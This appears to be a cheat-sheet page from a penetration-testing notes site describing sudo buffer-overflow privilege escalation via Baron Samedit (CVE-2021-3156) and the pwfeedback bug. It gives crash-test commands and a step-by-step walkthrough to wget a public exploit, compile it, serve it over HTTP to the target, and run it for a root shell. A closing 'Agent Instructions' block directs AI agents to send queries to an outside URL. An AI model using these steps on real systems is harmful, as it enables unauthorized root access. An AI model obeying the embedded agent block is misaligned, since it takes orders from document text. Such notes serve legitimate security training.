# Buffer Overflow Privilege Escalation

### [Baron Samedit (Heap Buffer Overflow) CVE-2021-3156](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#baron-samedit-\(heap-buffer-overflow\)-cve-2021-3156) <a href="#baron-samedit-heap-buffer-overflow-cve-2021-3156" id="baron-samedit-heap-buffer-overflow-cve-2021-3156"></a>

#### [1. Check Vulnerability to Overwrite Heap Buffer in Target Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#1.-check-vulnerability-to-overwrite-heap-buffer-in-target-machine) <a href="#id-1.-check-vulnerability-to-overwrite-heap-buffer-in-target-machine" id="id-1.-check-vulnerability-to-overwrite-heap-buffer-in-target-machine"></a>

```sh
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
Copied!
```

#### [2. Proof of Concept](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#2.-proof-of-concept) <a href="#id-2.-proof-of-concept" id="id-2.-proof-of-concept"></a>

There are various PoC online.

* <https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156>.
* <https://github.com/blasty/CVE-2021-3156>

<br>

### [Pwfeedback](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#pwfeedback) <a href="#pwfeedback" id="pwfeedback"></a>

#### [1. Check Enabling the Pwfeedback in /etc/sudoers](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#1.-check-enabling-the-pwfeedback-in-%2Fetc%2Fsudoers) <a href="#id-1.-check-enabling-the-pwfeedback-in-2fetc-2fsudoers" id="id-1.-check-enabling-the-pwfeedback-in-2fetc-2fsudoers"></a>

If so, when running sudo command and inputting password, asterisk will be displayed.\
You can make it the buffer overflow.

```sh
cat /etc/sudoers

# -------------------------------------------

...
Defaults pwfeadback
...
Copied!
```

#### [2. Input Long String to Password](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#2.-input-long-string-to-password) <a href="#id-2.-input-long-string-to-password" id="id-2.-input-long-string-to-password"></a>

```sh
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
# [sudo] password for tryhackme: Segmentation fault
Copied!
```

#### [3. Download a Payload and Compile in Local Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#3.-download-a-payload-and-compile-in-local-machine) <a href="#id-3.-download-a-payload-and-compile-in-local-machine" id="id-3.-download-a-payload-and-compile-in-local-machine"></a>

```sh
wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c
Copied!
```

#### [4. Transfer the Payload to Remote Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#4.-transfer-the-payload-to-remote-machine) <a href="#id-4.-transfer-the-payload-to-remote-machine" id="id-4.-transfer-the-payload-to-remote-machine"></a>

```sh
# In local machine
python3 -m http.server 8000

# In remote machine
wget http://<local-ip>:8000/exploit
Copied!
```

#### [5. Execute the Payload in Remote Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#5.-execute-the-payload-in-remote-machine) <a href="#id-5.-execute-the-payload-in-remote-machine" id="id-5.-execute-the-payload-in-remote-machine"></a>

After that, you'll get a root shell.

```sh
chmod 700 ./exploit
./exploit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/buffer-overflow-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
